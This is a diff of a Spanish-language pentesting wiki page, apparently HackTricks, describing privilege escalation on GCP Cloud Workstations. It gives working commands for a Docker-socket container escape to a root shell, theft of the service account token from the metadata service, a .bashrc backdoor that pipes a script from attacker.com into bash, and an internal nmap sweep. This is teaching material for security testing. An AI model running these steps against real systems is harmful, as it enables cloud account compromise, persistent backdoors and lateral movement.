diff --git a/src/pentesting-cloud/gcp-security/gcp-privilege-escalation/gcp-cloud-workstations-privesc.md b/src/pentesting-cloud/gcp-security/gcp-privilege-escalation/gcp-cloud-workstations-privesc.md index 1866d77c3..04b0524b5 100644 --- a/src/pentesting-cloud/gcp-security/gcp-privilege-escalation/gcp-cloud-workstations-privesc.md +++ b/src/pentesting-cloud/gcp-security/gcp-privilege-escalation/gcp-cloud-workstations-privesc.md @@ -1,22 +1,23 @@ # GCP - Cloud Workstations Privesc +{{#include ../../../banners/hacktricks-training.md}} -### Escalada desde el contenedor vía Docker Socket (Container -> VM -> Project) +### Container Breakout via Docker Socket (Container -> VM -> Project) -La principal ruta de escalada de privilegios en Cloud Workstations proviene del requisito de soportar flujos de trabajo **Docker-in-Docker (DinD)** para desarrolladores. Cuando la configuración de la workstation monta el Docker socket o permite contenedores privilegiados (una configuración común), un atacante dentro del contenedor de la workstation puede escapar hacia la Compute Engine VM subyacente y robar su service account token. +La ruta principal de escalado de privilegios en Cloud Workstations proviene de la necesidad de soportar flujos de trabajo **Docker-in-Docker (DinD)** para desarrolladores. Cuando la configuración del workstation monta el Docker socket o permite contenedores privilegiados (una configuración común), un atacante dentro del contenedor del workstation puede escapar a la Compute Engine VM subyacente y robar su token de cuenta de servicio. -**Prerequisitos:** +**Requisitos previos:** - Acceso a un terminal de Cloud Workstation (vía SSH, sesión comprometida o credenciales robadas) -- La configuración de la workstation debe montar `/var/run/docker.sock` o habilitar contenedores privilegiados +- La configuración del workstation debe montar `/var/run/docker.sock` o habilitar contenedores privilegiados -**Contexto de arquitectura:** La workstation es un contenedor (Layer 3) que se ejecuta sobre un runtime Docker/Containerd (Layer 2) en una GCE VM (Layer 1). El Docker socket proporciona acceso directo al runtime de contenedores del host. +**Contexto de arquitectura:** El workstation es un contenedor (Capa 3) que se ejecuta sobre un runtime Docker/Containerd (Capa 2) en una GCE VM (Capa 1). El Docker socket da acceso directo al runtime de contenedores del host. > [!NOTE] -> La herramienta [gcp-workstations-containerEscapeScript](https://github.com/AI-redteam/gcp-workstations-containerEscapeScript) automatiza la evasión completa del contenedor y te proporciona un shell root en la VM host. +> The tool [gcp-workstations-containerEscapeScript](https://github.com/AI-redteam/gcp-workstations-containerEscapeScript) automates the full container escape and drops you into a root shell on the host VM.
-Paso 1: Comprobar Docker socket +Paso 1: Comprobar el socket de Docker ```bash # Verify the Docker socket is available ls -l /var/run/docker.sock @@ -28,7 +29,9 @@ ls -l /var/run/docker.sock Paso 2: Escapar al sistema de archivos de la VM host -Iniciamos un privileged container, montando el directorio raíz del host en `/mnt/host`. También compartimos la host's network y el PID namespace para maximizar la visibilidad. +Lanzamos un contenedor privilegiado, montando el directorio raíz del host en `/mnt/host`. También compartimos la red del host y el espacio de nombres PID para maximizar la visibilidad. + +
```bash # Spawn a privileged container mounting the host's root filesystem docker run -it --rm --privileged --net=host --pid=host \ @@ -38,13 +41,13 @@ alpine sh # Inside the new container, chroot into the host chroot /mnt/host /bin/bash ``` -Ahora tienes un **root shell on the underlying Compute Engine VM** (Capa 1). +Ahora tienes una **root shell en la Compute Engine VM subyacente** (Capa 1).
-Paso 3: Steal the VM service account token from IMDS +Paso 3: Roba el token de la cuenta de servicio de la VM desde IMDS ```bash # From the host VM, query the Instance Metadata Service curl -s -H "Metadata-Flavor: Google" \ @@ -62,15 +65,15 @@ http://169.254.169.254/computeMetadata/v1/instance/service-accounts/default/scop > [!CAUTION] > **¡Comprueba los scopes!** -> Incluso si la cuenta de servicio adjunta es **Editor**, la VM podría estar restringida por los scopes de acceso. +> Incluso si la Service Account adjunta es **Editor**, la VM podría estar restringida por los scopes de acceso. > Si ves `https://www.googleapis.com/auth/cloud-platform`, tienes acceso completo. -> Si solo ves `logging.write` y `monitoring.write`, estás limitado a los vectores de **Network Pivot** y **Persistence** a continuación. +> Si solo ves `logging.write` y `monitoring.write`, estás limitado a los vectores **Network Pivot** y **Persistence** que aparecen más abajo.
-Paso 4: Achieve Persistence (Backdoor the User) +Paso 4: Lograr Persistence (Backdoor the User) -Cloud Workstations montan un disco persistente en `/home/user`. Debido a que el usuario del contenedor (normalmente `user`, UID 1000) coincide con el usuario del host (UID 1000), puedes escribir en el directorio home del host. Esto te permite backdoor the environment incluso si el workstation container es reconstruido. +Cloud Workstations montan un disco persistente en `/home/user`. Debido a que el usuario del contenedor (usualmente `user`, UID 1000) coincide con el usuario del host (UID 1000), puedes escribir en el directorio home del host. Esto te permite backdoor the environment incluso si el workstation container es reconstruido. ```bash # Check if you can write to the host's persistent home ls -la /mnt/host/home/user/ @@ -85,7 +88,7 @@ echo "curl http://attacker.com/shell | bash" >> /mnt/host/home/user/.bashrc Paso 5: Network Pivot (Internal VPC Access) -Como compartes el namespace de red del host (`--net=host`), ahora eres un nodo de confianza en la VPC. Puedes realizar un scan de servicios internos que permitan acceso basado en IP whitelisting. +Dado que compartes el espacio de nombres de red del host (`--net=host`), ahora eres un nodo de confianza en la VPC. Puedes escanear servicios internos que permiten acceso basándose en IP whitelisting. ```bash # Install scanning tools on the host (if internet access allows) apk add nmap @@ -94,3 +97,7 @@ apk add nmap nmap -sS -p 80,443,22 10.0.0.0/8 ```
+ + + +{{#include ../../../banners/hacktricks-training.md}}